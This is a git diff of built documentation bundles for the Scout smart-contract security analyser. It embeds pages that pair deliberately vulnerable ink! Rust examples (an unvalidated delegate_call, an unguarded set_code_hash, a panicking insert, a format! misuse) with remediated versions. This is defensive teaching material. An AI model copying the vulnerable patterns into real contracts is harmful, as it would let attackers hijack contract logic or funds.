",(0,l.kt)("inlineCode",{parentName:"p"},"ink!")," contract:"),(0,l.kt)("pre",null,(0,l.kt)("code",{parentName:"pre",className:"language-rust"},"#[ink(message)]\npub fn delegate_call(&mut self, target: Hash, argument: Balance) {\n let selector_bytes = [0x0, 0x0, 0x0, 0x0];\n let result: T = build_call::()\n .delegate(target)\n .exec_input(\n ExecutionInput::new(Selector::new(selector_bytes))\n .push_arg(argument)\n )\n .returns::()\n .invoke();\n}\n")),(0,l.kt)("p",null,"In this example, the ",(0,l.kt)("inlineCode",{parentName:"p"},"delegate_call")," function allows for delegated calls to contracts passed as arguments without any validation or access control. This creates a vulnerability as it enables potential attackers to pass a malicious contract as the target, leading to unauthorized modifications or unexpected behavior in the smart contract."),(0,l.kt)("p",null,"The vulnerable code example can be found ",(0,l.kt)("a",{parentName:"p",href:"https://github.com/CoinFabrik/scout/tree/main/test-cases/delegate-call/delegate-call-1/vulnerable-example"},(0,l.kt)("inlineCode",{parentName:"a"},"here")),"."),(0,l.kt)("h2",{id:"remediation"},"Remediation"),(0,l.kt)("p",null,"In the following remediated example, the vulnerability is addressed by removing the ability to pass the target contract as an argument in the ",(0,l.kt)("inlineCode",{parentName:"p"},"delegate_call")," function. Instead, the target contract address is stored in a storage variable ",(0,l.kt)("inlineCode",{parentName:"p"},"self.target"),", which can only be modified by calling the ",(0,l.kt)("inlineCode",{parentName:"p"},"set_target")," function. The ",(0,l.kt)("inlineCode",{parentName:"p"},"set_target")," function includes access control logic, allowing only the contract's administrator to update the target contract address. This remediation ensures that only trusted and authorized contracts can be delegated to, preventing the vulnerability associated with unvalidated and uncontrolled delegate calls."),(0,l.kt)("pre",null,(0,l.kt)("code",{parentName:"pre",className:"language-rust"}," #[ink(message)]\n pub fn delegate_call(&mut self, argument: Balance) {\n let selector_bytes = [0x0, 0x0, 0x0, 0x0];\n let result: T = build_call::()\n .delegate(self.target)\n .exec_input(\n ExecutionInput::new(Selector::new(selector_bytes))\n .push_arg(argument)\n )\n .returns::()\n .invoke();\n }\n\n #[ink::message]\n pub fn set_target(&mut self, new_target: Hash) -> Result<(), Error> {\n if self.admin != self.env().caller() {\n Err(Error::Unauthorized)\n } else {\n self.target = new_target;\n Ok(())\n }\n }\n\n")),(0,l.kt)("p",null,"The remediated code example can be found ",(0,l.kt)("a",{parentName:"p",href:"https://github.com/CoinFabrik/scout/tree/main/test-cases/delegate-call/delegate-call-1/remediated-example"},(0,l.kt)("inlineCode",{parentName:"a"},"here")),"."),(0,l.kt)("h2",{id:"references"},"References"),(0,l.kt)("ul",null,(0,l.kt)("li",{parentName:"ul"},(0,l.kt)("a",{parentName:"li",href:"https://solidity-by-example.org/delegatecall/"},"https://solidity-by-example.org/delegatecall/")),(0,l.kt)("li",{parentName:"ul"},(0,l.kt)("a",{parentName:"li",href:"https://solidity-by-example.org/hacks/delegatecall/"},"https://solidity-by-example.org/hacks/delegatecall/")),(0,l.kt)("li",{parentName:"ul"},(0,l.kt)("a",{parentName:"li",href:"https://blog.sigmaprime.io/solidity-security.html#delegatecall"},"https://blog.sigmaprime.io/solidity-security.html#delegatecall")),(0,l.kt)("li",{parentName:"ul"},(0,l.kt)("a",{parentName:"li",href:"https://swcregistry.io/docs/SWC-112"},"SWC-112")),(0,l.kt)("li",{parentName:"ul"},(0,l.kt)("a",{parentName:"li",href:"https://github.com/OpenZeppelin/ethernaut/blob/master/contracts/src/levels/Delegation.sol"},"Ethernaut: Delegation")),(0,l.kt)("li",{parentName:"ul"},(0,l.kt)("a",{parentName:"li",href:"https://github.com/crytic/slither/wiki/Detector-Documentation#controlled-delegatecall"},"Slither: Delegatecall"))))}p.isMDXComponent=!0}}]); \ No newline at end of file diff --git a/assets/js/6c1798d8.e073167e.js b/assets/js/6c1798d8.e073167e.js new file mode 100644 index 00000000..3c7f548c --- /dev/null +++ b/assets/js/6c1798d8.e073167e.js @@ -0,0 +1 @@ +"use strict";(self.webpackChunkscout=self.webpackChunkscout||[]).push([[366],{9613:(e,t,n)=>{n.d(t,{Zo:()=>c,kt:()=>m});var r=n(9496);function i(e,t,n){return t in e?Object.defineProperty(e,t,{value:n,enumerable:!0,configurable:!0,writable:!0}):e[t]=n,e}function a(e,t){var n=Object.keys(e);if(Object.getOwnPropertySymbols){var r=Object.getOwnPropertySymbols(e);t&&(r=r.filter((function(t){return Object.getOwnPropertyDescriptor(e,t).enumerable}))),n.push.apply(n,r)}return n}function s(e){for(var t=1;t=0||(i[n]=e[n]);return i}(e,t);if(Object.getOwnPropertySymbols){var a=Object.getOwnPropertySymbols(e);for(r=0;r=0||Object.prototype.propertyIsEnumerable.call(e,n)&&(i[n]=e[n])}return i}var o=r.createContext({}),p=function(e){var t=r.useContext(o),n=t;return e&&(n="function"==typeof e?e(t):s(s({},t),e)),n},c=function(e){var t=p(e.components);return r.createElement(o.Provider,{value:t},e.children)},u="mdxType",d={inlineCode:"code",wrapper:function(e){var t=e.children;return r.createElement(r.Fragment,{},t)}},f=r.forwardRef((function(e,t){var n=e.components,i=e.mdxType,a=e.originalType,o=e.parentName,c=l(e,["components","mdxType","originalType","parentName"]),u=p(n),f=i,m=u["".concat(o,".").concat(f)]||u[f]||d[f]||a;return n?r.createElement(m,s(s({ref:t},c),{},{components:n})):r.createElement(m,s({ref:t},c))}));function m(e,t){var n=arguments,i=t&&t.mdxType;if("string"==typeof e||i){var a=n.length,s=new Array(a);s[0]=f;var l={};for(var o in t)hasOwnProperty.call(t,o)&&(l[o]=t[o]);l.originalType=e,l[u]="string"==typeof e?e:i,s[1]=l;for(var p=2;p{n.r(t),n.d(t,{assets:()=>o,contentTitle:()=>s,default:()=>d,frontMatter:()=>a,metadata:()=>l,toc:()=>p});var r=n(2564),i=(n(9496),n(9613));const a={},s="Buffering Unsized Types",l={unversionedId:"vulnerabilities/buffering-unsized-types",id:"vulnerabilities/buffering-unsized-types",title:"Buffering Unsized Types",description:"Description",source:"@site/docs/vulnerabilities/25-buffering-unsized-types.md",sourceDirName:"vulnerabilities",slug:"/vulnerabilities/buffering-unsized-types",permalink:"/scout/docs/vulnerabilities/buffering-unsized-types",draft:!1,editUrl:"https://github.com/CoinFabrik/scout/docs/vulnerabilities/25-buffering-unsized-types.md",tags:[],version:"current",sidebarPosition:25,frontMatter:{},sidebar:"docsSidebar",previous:{title:"Incorrect Exponentiation",permalink:"/scout/docs/vulnerabilities/incorrect-exponentiation"},next:{title:"Avoid Unsafe Block",permalink:"/scout/docs/vulnerabilities/avoid-unsafe-block"}},o={},p=[{value:"Description",id:"description",level:2},{value:"Exploit Scenario",id:"exploit-scenario",level:2},{value:"Remediation",id:"remediation",level:2},{value:"References",id:"references",level:2}],c={toc:p},u="wrapper";function d(e){let{components:t,...n}=e;return(0,i.kt)(u,(0,r.Z)({},c,n,{components:t,mdxType:"MDXLayout"}),(0,i.kt)("h1",{id:"buffering-unsized-types"},"Buffering Unsized Types"),(0,i.kt)("h2",{id:"description"},"Description"),(0,i.kt)("ul",null,(0,i.kt)("li",{parentName:"ul"},"Vulnerability Category: ",(0,i.kt)("inlineCode",{parentName:"li"},"Best practices")),(0,i.kt)("li",{parentName:"ul"},"Vulnerability Severity: ",(0,i.kt)("inlineCode",{parentName:"li"},"Enhancement")),(0,i.kt)("li",{parentName:"ul"},"Detectors: ",(0,i.kt)("a",{parentName:"li",href:"https://github.com/CoinFabrik/scout/tree/main/detectors/buffering-unsized-types"},(0,i.kt)("inlineCode",{parentName:"a"},"vec-considerations"))),(0,i.kt)("li",{parentName:"ul"},"Test Cases: ",(0,i.kt)("a",{parentName:"li",href:"https://github.com/CoinFabrik/scout/tree/main/test-cases/buffering-unsized-types/buffering-unsized-types-1"},(0,i.kt)("inlineCode",{parentName:"a"},"vec-considerations-1")))),(0,i.kt)("p",null,"Avoid using fallible methods like ",(0,i.kt)("inlineCode",{parentName:"p"},"insert"),", ",(0,i.kt)("inlineCode",{parentName:"p"},"pop"),", ",(0,i.kt)("inlineCode",{parentName:"p"},"push"),", ",(0,i.kt)("inlineCode",{parentName:"p"},"set")," or ",(0,i.kt)("inlineCode",{parentName:"p"},"peek")," with an unsized (dynamically sized) type. To prevent the contract for panicking, use ",(0,i.kt)("inlineCode",{parentName:"p"},"try_")," (fallible) storage methods."),(0,i.kt)("h2",{id:"exploit-scenario"},"Exploit Scenario"),(0,i.kt)("p",null,"Consider the following ",(0,i.kt)("inlineCode",{parentName:"p"},"ink!")," contract:"),(0,i.kt)("pre",null,(0,i.kt)("code",{parentName:"pre",className:"language-rust"},' #[ink(message)]\n pub fn do_something(&mut self, data: String) {\n let caller = self.env().caller();\n let example = format!("{caller:?}: {data}");\n\n // Panics if data overgrows the static buffer size!\n self.on_chain_log.insert(caller, &example);\n }\n')),(0,i.kt)("p",null,"The problem arises from the use of ",(0,i.kt)("inlineCode",{parentName:"p"},".insert()")," since ",(0,i.kt)("inlineCode",{parentName:"p"},"ink!"),"'s static buffer defaults to 16KB in size. If data overgrows this size, the contract will ",(0,i.kt)("inlineCode",{parentName:"p"},"panic!"),"."),(0,i.kt)("p",null,"The vulnerable code example can be found ",(0,i.kt)("a",{parentName:"p",href:"https://github.com/CoinFabrik/scout/tree/main/test-cases/buffering-unsized-types/buffering-unsized-types-1/vulnerable-example"},(0,i.kt)("inlineCode",{parentName:"a"},"here")),"."),(0,i.kt)("h2",{id:"remediation"},"Remediation"),(0,i.kt)("p",null,"Instead, when working with dynamically sized values, use fallible storage methods. For instance:"),(0,i.kt)("pre",null,(0,i.kt)("code",{parentName:"pre",className:"language-rust"}," #[ink(message)]\n pub fn do_something2(&mut self, data: String) -> Result<(), Error> {\n let caller = self.env().caller();\n\n match self.on_chain_log.try_insert(caller, &data) {\n Ok(_) => Ok(()),\n Err(_) => Err(Error::InsertFailed),\n }\n }\n")),(0,i.kt)("p",null,"The remediated code example can be found ",(0,i.kt)("a",{parentName:"p",href:"https://github.com/CoinFabrik/scout/tree/main/test-cases/buffering-unsized-types/buffering-unsized-types-1/remediated-example"},(0,i.kt)("inlineCode",{parentName:"a"},"here")),"."),(0,i.kt)("h2",{id:"references"},"References"),(0,i.kt)("ul",null,(0,i.kt)("li",{parentName:"ul"},(0,i.kt)("a",{parentName:"li",href:"https://docs.rs/ink_storage/5.0.0/ink_storage/struct.StorageVec.html"},"https://docs.rs/ink_storage/5.0.0/ink_storage/struct.StorageVec.html")),(0,i.kt)("li",{parentName:"ul"},(0,i.kt)("a",{parentName:"li",href:"https://use.ink/datastructures/storagevec/"},"https://use.ink/datastructures/storagevec/"))))}d.isMDXComponent=!0}}]); \ No newline at end of file diff --git a/assets/js/7a155d43.0b56c039.js b/assets/js/7a155d43.0ec557a8.js similarity index 68% rename from assets/js/7a155d43.0b56c039.js rename to assets/js/7a155d43.0ec557a8.js index ba6b2015..120d80c9 100644 --- a/assets/js/7a155d43.0b56c039.js +++ b/assets/js/7a155d43.0ec557a8.js @@ -1 +1 @@ -"use strict";(self.webpackChunkscout=self.webpackChunkscout||[]).push([[907],{9613:(e,t,r)=>{r.d(t,{Zo:()=>u,kt:()=>f});var n=r(9496);function i(e,t,r){return t in e?Object.defineProperty(e,t,{value:r,enumerable:!0,configurable:!0,writable:!0}):e[t]=r,e}function a(e,t){var r=Object.keys(e);if(Object.getOwnPropertySymbols){var n=Object.getOwnPropertySymbols(e);t&&(n=n.filter((function(t){return Object.getOwnPropertyDescriptor(e,t).enumerable}))),r.push.apply(r,n)}return r}function o(e){for(var t=1;t=0||(i[r]=e[r]);return i}(e,t);if(Object.getOwnPropertySymbols){var a=Object.getOwnPropertySymbols(e);for(n=0;n=0||Object.prototype.propertyIsEnumerable.call(e,r)&&(i[r]=e[r])}return i}var s=n.createContext({}),c=function(e){var t=n.useContext(s),r=t;return e&&(r="function"==typeof e?e(t):o(o({},t),e)),r},u=function(e){var t=c(e.components);return n.createElement(s.Provider,{value:t},e.children)},m="mdxType",p={inlineCode:"code",wrapper:function(e){var t=e.children;return n.createElement(n.Fragment,{},t)}},d=n.forwardRef((function(e,t){var r=e.components,i=e.mdxType,a=e.originalType,s=e.parentName,u=l(e,["components","mdxType","originalType","parentName"]),m=c(r),d=i,f=m["".concat(s,".").concat(d)]||m[d]||p[d]||a;return r?n.createElement(f,o(o({ref:t},u),{},{components:r})):n.createElement(f,o({ref:t},u))}));function f(e,t){var r=arguments,i=t&&t.mdxType;if("string"==typeof e||i){var a=r.length,o=new Array(a);o[0]=d;var l={};for(var s in t)hasOwnProperty.call(t,s)&&(l[s]=t[s]);l.originalType=e,l[m]="string"==typeof e?e:i,o[1]=l;for(var c=2;c{r.r(t),r.d(t,{assets:()=>s,contentTitle:()=>o,default:()=>p,frontMatter:()=>a,metadata:()=>l,toc:()=>c});var n=r(2564),i=(r(9496),r(9613));const a={},o="Avoid fromat! macro usage",l={unversionedId:"vulnerabilities/avoid-format-string",id:"vulnerabilities/avoid-format-string",title:"Avoid fromat! macro usage",description:"Description",source:"@site/docs/vulnerabilities/17-avoid-format-string.md",sourceDirName:"vulnerabilities",slug:"/vulnerabilities/avoid-format-string",permalink:"/scout/docs/vulnerabilities/avoid-format-string",draft:!1,editUrl:"https://github.com/CoinFabrik/scout/docs/vulnerabilities/17-avoid-format-string.md",tags:[],version:"current",sidebarPosition:17,frontMatter:{},sidebar:"docsSidebar",previous:{title:"Avoid core::mem::forget usage",permalink:"/scout/docs/vulnerabilities/avoid-core-mem-forget"},next:{title:"Unprotected Self Destruct",permalink:"/scout/docs/vulnerabilities/unprotected-self-destruct"}},s={},c=[{value:"Description",id:"description",level:2},{value:"Exploit Scenario",id:"exploit-scenario",level:2},{value:"Remediation",id:"remediation",level:2},{value:"References",id:"references",level:2}],u={toc:c},m="wrapper";function p(e){let{components:t,...r}=e;return(0,i.kt)(m,(0,n.Z)({},u,r,{components:t,mdxType:"MDXLayout"}),(0,i.kt)("h1",{id:"avoid-fromat-macro-usage"},"Avoid fromat! macro usage"),(0,i.kt)("h2",{id:"description"},"Description"),(0,i.kt)("ul",null,(0,i.kt)("li",{parentName:"ul"},"Vulnerability Category: ",(0,i.kt)("inlineCode",{parentName:"li"},"Validations and error handling")),(0,i.kt)("li",{parentName:"ul"},"Vulnerability Severity: ",(0,i.kt)("inlineCode",{parentName:"li"},"Enhacement")),(0,i.kt)("li",{parentName:"ul"},"Detectors: ",(0,i.kt)("a",{parentName:"li",href:"https://github.com/CoinFabrik/scout/tree/main/detectors/avoid-format!-string"},(0,i.kt)("inlineCode",{parentName:"a"},"avoid-format!-string"))),(0,i.kt)("li",{parentName:"ul"},"Test Cases: ",(0,i.kt)("a",{parentName:"li",href:"https://github.com/CoinFabrik/scout/tree/main/test-cases/avoid-format!-string/avoid-format!-string-1"},(0,i.kt)("inlineCode",{parentName:"a"},"avoid-format!-string-1")))),(0,i.kt)("p",null,"The ",(0,i.kt)("inlineCode",{parentName:"p"},"format!")," macro is not recommended. A custom error is recommended instead."),(0,i.kt)("h2",{id:"exploit-scenario"},"Exploit Scenario"),(0,i.kt)("p",null,"Consider the following ",(0,i.kt)("inlineCode",{parentName:"p"},"ink!")," contract:"),(0,i.kt)("pre",null,(0,i.kt)("code",{parentName:"pre",className:"language-rust"},' #[ink(message)]\n pub fn crash(&self) -> Result<(), Error> {\n Err(Error::FormatError {\n msg: (format!("{:?}", "false")),\n })\n }\n')),(0,i.kt)("p",null,"The problem arises from the use of the ",(0,i.kt)("inlineCode",{parentName:"p"},"format!")," macro. This is used to format a string with the given arguments. Returning a custom error is desirable."),(0,i.kt)("p",null,"The vulnerable code example can be found ",(0,i.kt)("a",{parentName:"p",href:"https://github.com/CoinFabrik/scout/tree/main/test-cases/avoid-format!-string/avoid-format!-string-1/vulnerable-example"},(0,i.kt)("inlineCode",{parentName:"a"},"here")),"."),(0,i.kt)("h2",{id:"remediation"},"Remediation"),(0,i.kt)("p",null,"Create a custom error to avoid using the macro."),(0,i.kt)("h2",{id:"references"},"References"),(0,i.kt)("ul",null,(0,i.kt)("li",{parentName:"ul"},(0,i.kt)("a",{parentName:"li",href:"https://docs.alephzero.org/aleph-zero/security-course-by-kudelski-security/ink-developers-security-guideline#be-careful-when-you-use-the-following-patterns-that-may-cause-panics."},"Memory Management"))))}p.isMDXComponent=!0}}]); \ No newline at end of file +"use strict";(self.webpackChunkscout=self.webpackChunkscout||[]).push([[907],{9613:(e,t,r)=>{r.d(t,{Zo:()=>u,kt:()=>f});var n=r(9496);function i(e,t,r){return t in e?Object.defineProperty(e,t,{value:r,enumerable:!0,configurable:!0,writable:!0}):e[t]=r,e}function a(e,t){var r=Object.keys(e);if(Object.getOwnPropertySymbols){var n=Object.getOwnPropertySymbols(e);t&&(n=n.filter((function(t){return Object.getOwnPropertyDescriptor(e,t).enumerable}))),r.push.apply(r,n)}return r}function o(e){for(var t=1;t=0||(i[r]=e[r]);return i}(e,t);if(Object.getOwnPropertySymbols){var a=Object.getOwnPropertySymbols(e);for(n=0;n=0||Object.prototype.propertyIsEnumerable.call(e,r)&&(i[r]=e[r])}return i}var s=n.createContext({}),c=function(e){var t=n.useContext(s),r=t;return e&&(r="function"==typeof e?e(t):o(o({},t),e)),r},u=function(e){var t=c(e.components);return n.createElement(s.Provider,{value:t},e.children)},m="mdxType",p={inlineCode:"code",wrapper:function(e){var t=e.children;return n.createElement(n.Fragment,{},t)}},d=n.forwardRef((function(e,t){var r=e.components,i=e.mdxType,a=e.originalType,s=e.parentName,u=l(e,["components","mdxType","originalType","parentName"]),m=c(r),d=i,f=m["".concat(s,".").concat(d)]||m[d]||p[d]||a;return r?n.createElement(f,o(o({ref:t},u),{},{components:r})):n.createElement(f,o({ref:t},u))}));function f(e,t){var r=arguments,i=t&&t.mdxType;if("string"==typeof e||i){var a=r.length,o=new Array(a);o[0]=d;var l={};for(var s in t)hasOwnProperty.call(t,s)&&(l[s]=t[s]);l.originalType=e,l[m]="string"==typeof e?e:i,o[1]=l;for(var c=2;c{r.r(t),r.d(t,{assets:()=>s,contentTitle:()=>o,default:()=>p,frontMatter:()=>a,metadata:()=>l,toc:()=>c});var n=r(2564),i=(r(9496),r(9613));const a={},o="Avoid fromat! macro usage",l={unversionedId:"vulnerabilities/avoid-format-string",id:"vulnerabilities/avoid-format-string",title:"Avoid fromat! macro usage",description:"Description",source:"@site/docs/vulnerabilities/17-avoid-format-string.md",sourceDirName:"vulnerabilities",slug:"/vulnerabilities/avoid-format-string",permalink:"/scout/docs/vulnerabilities/avoid-format-string",draft:!1,editUrl:"https://github.com/CoinFabrik/scout/docs/vulnerabilities/17-avoid-format-string.md",tags:[],version:"current",sidebarPosition:17,frontMatter:{},sidebar:"docsSidebar",previous:{title:"Avoid core::mem::forget usage",permalink:"/scout/docs/vulnerabilities/avoid-core-mem-forget"},next:{title:"Unprotected Self Destruct",permalink:"/scout/docs/vulnerabilities/unprotected-self-destruct"}},s={},c=[{value:"Description",id:"description",level:2},{value:"Exploit Scenario",id:"exploit-scenario",level:2},{value:"Remediation",id:"remediation",level:2},{value:"References",id:"references",level:2}],u={toc:c},m="wrapper";function p(e){let{components:t,...r}=e;return(0,i.kt)(m,(0,n.Z)({},u,r,{components:t,mdxType:"MDXLayout"}),(0,i.kt)("h1",{id:"avoid-fromat-macro-usage"},"Avoid fromat! macro usage"),(0,i.kt)("h2",{id:"description"},"Description"),(0,i.kt)("ul",null,(0,i.kt)("li",{parentName:"ul"},"Vulnerability Category: ",(0,i.kt)("inlineCode",{parentName:"li"},"Validations and error handling")),(0,i.kt)("li",{parentName:"ul"},"Vulnerability Severity: ",(0,i.kt)("inlineCode",{parentName:"li"},"Enhancement")),(0,i.kt)("li",{parentName:"ul"},"Detectors: ",(0,i.kt)("a",{parentName:"li",href:"https://github.com/CoinFabrik/scout/tree/main/detectors/avoid-format-string"},(0,i.kt)("inlineCode",{parentName:"a"},"avoid-format!-string"))),(0,i.kt)("li",{parentName:"ul"},"Test Cases: ",(0,i.kt)("a",{parentName:"li",href:"https://github.com/CoinFabrik/scout/tree/main/test-cases/avoid-format-string/avoid-format-string-1"},(0,i.kt)("inlineCode",{parentName:"a"},"avoid-format!-string-1")))),(0,i.kt)("p",null,"The ",(0,i.kt)("inlineCode",{parentName:"p"},"format!")," macro is not recommended. A custom error is recommended instead."),(0,i.kt)("h2",{id:"exploit-scenario"},"Exploit Scenario"),(0,i.kt)("p",null,"Consider the following ",(0,i.kt)("inlineCode",{parentName:"p"},"ink!")," contract:"),(0,i.kt)("pre",null,(0,i.kt)("code",{parentName:"pre",className:"language-rust"},' #[ink(message)]\n pub fn crash(&self) -> Result<(), Error> {\n Err(Error::FormatError {\n msg: (format!("{:?}", "false")),\n })\n }\n')),(0,i.kt)("p",null,"The problem arises from the use of the ",(0,i.kt)("inlineCode",{parentName:"p"},"format!")," macro. This is used to format a string with the given arguments. Returning a custom error is desirable."),(0,i.kt)("p",null,"The vulnerable code example can be found ",(0,i.kt)("a",{parentName:"p",href:"https://github.com/CoinFabrik/scout/tree/main/test-cases/avoid-format-string/avoid-format-string-1/vulnerable-example"},(0,i.kt)("inlineCode",{parentName:"a"},"here")),"."),(0,i.kt)("h2",{id:"remediation"},"Remediation"),(0,i.kt)("p",null,"Create a custom error to avoid using the macro."),(0,i.kt)("h2",{id:"references"},"References"),(0,i.kt)("ul",null,(0,i.kt)("li",{parentName:"ul"},(0,i.kt)("a",{parentName:"li",href:"https://docs.alephzero.org/aleph-zero/security-course-by-kudelski-security/ink-developers-security-guideline#be-careful-when-you-use-the-following-patterns-that-may-cause-panics."},"Memory Management"))))}p.isMDXComponent=!0}}]); \ No newline at end of file diff --git a/assets/js/7cd38dd3.4c445494.js b/assets/js/7cd38dd3.4c445494.js new file mode 100644 index 00000000..abd22cbc --- /dev/null +++ b/assets/js/7cd38dd3.4c445494.js @@ -0,0 +1 @@ +"use strict";(self.webpackChunkscout=self.webpackChunkscout||[]).push([[1329],{9613:(e,t,r)=>{r.d(t,{Zo:()=>d,kt:()=>m});var n=r(9496);function o(e,t,r){return t in e?Object.defineProperty(e,t,{value:r,enumerable:!0,configurable:!0,writable:!0}):e[t]=r,e}function a(e,t){var r=Object.keys(e);if(Object.getOwnPropertySymbols){var n=Object.getOwnPropertySymbols(e);t&&(n=n.filter((function(t){return Object.getOwnPropertyDescriptor(e,t).enumerable}))),r.push.apply(r,n)}return r}function s(e){for(var t=1;t=0||(o[r]=e[r]);return o}(e,t);if(Object.getOwnPropertySymbols){var a=Object.getOwnPropertySymbols(e);for(n=0;n=0||Object.prototype.propertyIsEnumerable.call(e,r)&&(o[r]=e[r])}return o}var c=n.createContext({}),l=function(e){var t=n.useContext(c),r=t;return e&&(r="function"==typeof e?e(t):s(s({},t),e)),r},d=function(e){var t=l(e.components);return n.createElement(c.Provider,{value:t},e.children)},p="mdxType",u={inlineCode:"code",wrapper:function(e){var t=e.children;return n.createElement(n.Fragment,{},t)}},h=n.forwardRef((function(e,t){var r=e.components,o=e.mdxType,a=e.originalType,c=e.parentName,d=i(e,["components","mdxType","originalType","parentName"]),p=l(r),h=o,m=p["".concat(c,".").concat(h)]||p[h]||u[h]||a;return r?n.createElement(m,s(s({ref:t},d),{},{components:r})):n.createElement(m,s({ref:t},d))}));function m(e,t){var r=arguments,o=t&&t.mdxType;if("string"==typeof e||o){var a=r.length,s=new Array(a);s[0]=h;var i={};for(var c in t)hasOwnProperty.call(t,c)&&(i[c]=t[c]);i.originalType=e,i[p]="string"==typeof e?e:o,s[1]=i;for(var l=2;l{r.r(t),r.d(t,{assets:()=>c,contentTitle:()=>s,default:()=>u,frontMatter:()=>a,metadata:()=>i,toc:()=>l});var n=r(2564),o=(r(9496),r(9613));const a={},s="Unprotected set code hash",i={unversionedId:"detectors/unprotected-set-code-hash",id:"detectors/unprotected-set-code-hash",title:"Unprotected set code hash",description:"What it does",source:"@site/docs/detectors/21-unprotected-set-code-hash.md",sourceDirName:"detectors",slug:"/detectors/unprotected-set-code-hash",permalink:"/scout/docs/detectors/unprotected-set-code-hash",draft:!1,editUrl:"https://github.com/CoinFabrik/scout/docs/detectors/21-unprotected-set-code-hash.md",tags:[],version:"current",sidebarPosition:21,frontMatter:{},sidebar:"docsSidebar",previous:{title:"Ink! version",permalink:"/scout/docs/detectors/ink-version"},next:{title:"Unprotected Mapping Operation",permalink:"/scout/docs/detectors/unprotected-mapping-operation"}},c={},l=[{value:"What it does",id:"what-it-does",level:3},{value:"Why is this bad?",id:"why-is-this-bad",level:3},{value:"Example",id:"example",level:3},{value:"Implementation",id:"implementation",level:3}],d={toc:l},p="wrapper";function u(e){let{components:t,...r}=e;return(0,o.kt)(p,(0,n.Z)({},d,r,{components:t,mdxType:"MDXLayout"}),(0,o.kt)("h1",{id:"unprotected-set-code-hash"},"Unprotected set code hash"),(0,o.kt)("h3",{id:"what-it-does"},"What it does"),(0,o.kt)("p",null,"It warns you if ",(0,o.kt)("inlineCode",{parentName:"p"},"set_code_hash")," function is called without previously checking the address of the caller."),(0,o.kt)("h3",{id:"why-is-this-bad"},"Why is this bad?"),(0,o.kt)("p",null,"If users are allowed to call ",(0,o.kt)("inlineCode",{parentName:"p"},"set_code_hash"),", they can intentionally modify the contract behaviour, leading to the loss of all associated data/tokens and functionalities given by this contract or by others that depend on it."),(0,o.kt)("h3",{id:"example"},"Example"),(0,o.kt)("pre",null,(0,o.kt)("code",{parentName:"pre",className:"language-rust"}," #[ink(message)]\n pub fn update_code(&self, value: [u8; 32]) -> Result<(), Error> {\n let res = set_code_hash(&value);\n\n if res.is_err() {\n return res.map_err(|_| Error::InvalidCodeHash);\n }\n\n Ok(())\n }\n")),(0,o.kt)("p",null,"Use instead:"),(0,o.kt)("pre",null,(0,o.kt)("code",{parentName:"pre",className:"language-rust"}," pub fn update_code(&self, value: [u8; 32]) -> Result<(), Error> {\n if self.admin != Self::env().caller() {\n return Err(Error::NotAnAdmin);\n }\n\n let res = set_code_hash(&value);\n\n if res.is_err() {\n return res.map_err(|_| Error::InvalidCodeHash);\n }\n\n Ok(())\n }\n")),(0,o.kt)("h3",{id:"implementation"},"Implementation"),(0,o.kt)("p",null,"The detector's implementation can be found at ",(0,o.kt)("a",{parentName:"p",href:"https://github.com/CoinFabrik/scout/tree/main/detectors/set-code-hash"},"this link")))}u.isMDXComponent=!0}}]); \ No newline at end of file diff --git a/assets/js/7cd38dd3.607518fa.js b/assets/js/7cd38dd3.607518fa.js deleted file mode 100644 index 42298ba3..00000000 --- a/assets/js/7cd38dd3.607518fa.js +++ /dev/null @@ -1 +0,0 @@ -"use strict";(self.webpackChunkscout=self.webpackChunkscout||[]).push([[1329],{9613:(e,t,n)=>{n.d(t,{Zo:()=>d,kt:()=>m});var r=n(9496);function o(e,t,n){return t in e?Object.defineProperty(e,t,{value:n,enumerable:!0,configurable:!0,writable:!0}):e[t]=n,e}function a(e,t){var n=Object.keys(e);if(Object.getOwnPropertySymbols){var r=Object.getOwnPropertySymbols(e);t&&(r=r.filter((function(t){return Object.getOwnPropertyDescriptor(e,t).enumerable}))),n.push.apply(n,r)}return n}function s(e){for(var t=1;t=0||(o[n]=e[n]);return o}(e,t);if(Object.getOwnPropertySymbols){var a=Object.getOwnPropertySymbols(e);for(r=0;r=0||Object.prototype.propertyIsEnumerable.call(e,n)&&(o[n]=e[n])}return o}var c=r.createContext({}),l=function(e){var t=r.useContext(c),n=t;return e&&(n="function"==typeof e?e(t):s(s({},t),e)),n},d=function(e){var t=l(e.components);return r.createElement(c.Provider,{value:t},e.children)},p="mdxType",u={inlineCode:"code",wrapper:function(e){var t=e.children;return r.createElement(r.Fragment,{},t)}},h=r.forwardRef((function(e,t){var n=e.components,o=e.mdxType,a=e.originalType,c=e.parentName,d=i(e,["components","mdxType","originalType","parentName"]),p=l(n),h=o,m=p["".concat(c,".").concat(h)]||p[h]||u[h]||a;return n?r.createElement(m,s(s({ref:t},d),{},{components:n})):r.createElement(m,s({ref:t},d))}));function m(e,t){var n=arguments,o=t&&t.mdxType;if("string"==typeof e||o){var a=n.length,s=new Array(a);s[0]=h;var i={};for(var c in t)hasOwnProperty.call(t,c)&&(i[c]=t[c]);i.originalType=e,i[p]="string"==typeof e?e:o,s[1]=i;for(var l=2;l{n.r(t),n.d(t,{assets:()=>c,contentTitle:()=>s,default:()=>u,frontMatter:()=>a,metadata:()=>i,toc:()=>l});var r=n(2564),o=(n(9496),n(9613));const a={},s="Unprotected set code hash",i={unversionedId:"detectors/unprotected-set-code-hash",id:"detectors/unprotected-set-code-hash",title:"Unprotected set code hash",description:"What it does",source:"@site/docs/detectors/21-unprotected-set-code-hash.md",sourceDirName:"detectors",slug:"/detectors/unprotected-set-code-hash",permalink:"/scout/docs/detectors/unprotected-set-code-hash",draft:!1,editUrl:"https://github.com/CoinFabrik/scout/docs/detectors/21-unprotected-set-code-hash.md",tags:[],version:"current",sidebarPosition:21,frontMatter:{},sidebar:"docsSidebar",previous:{title:"Ink! version",permalink:"/scout/docs/detectors/ink-version"},next:{title:"Unprotected Mapping Operation",permalink:"/scout/docs/detectors/unprotected-mapping-operation"}},c={},l=[{value:"What it does",id:"what-it-does",level:3},{value:"Why is this bad?",id:"why-is-this-bad",level:3},{value:"Known problems",id:"known-problems",level:3},{value:"Example",id:"example",level:3},{value:"Implementation",id:"implementation",level:3}],d={toc:l},p="wrapper";function u(e){let{components:t,...n}=e;return(0,o.kt)(p,(0,r.Z)({},d,n,{components:t,mdxType:"MDXLayout"}),(0,o.kt)("h1",{id:"unprotected-set-code-hash"},"Unprotected set code hash"),(0,o.kt)("h3",{id:"what-it-does"},"What it does"),(0,o.kt)("p",null,"It warns you if ",(0,o.kt)("inlineCode",{parentName:"p"},"set_code_hash")," function is called without a previous check of the address of the 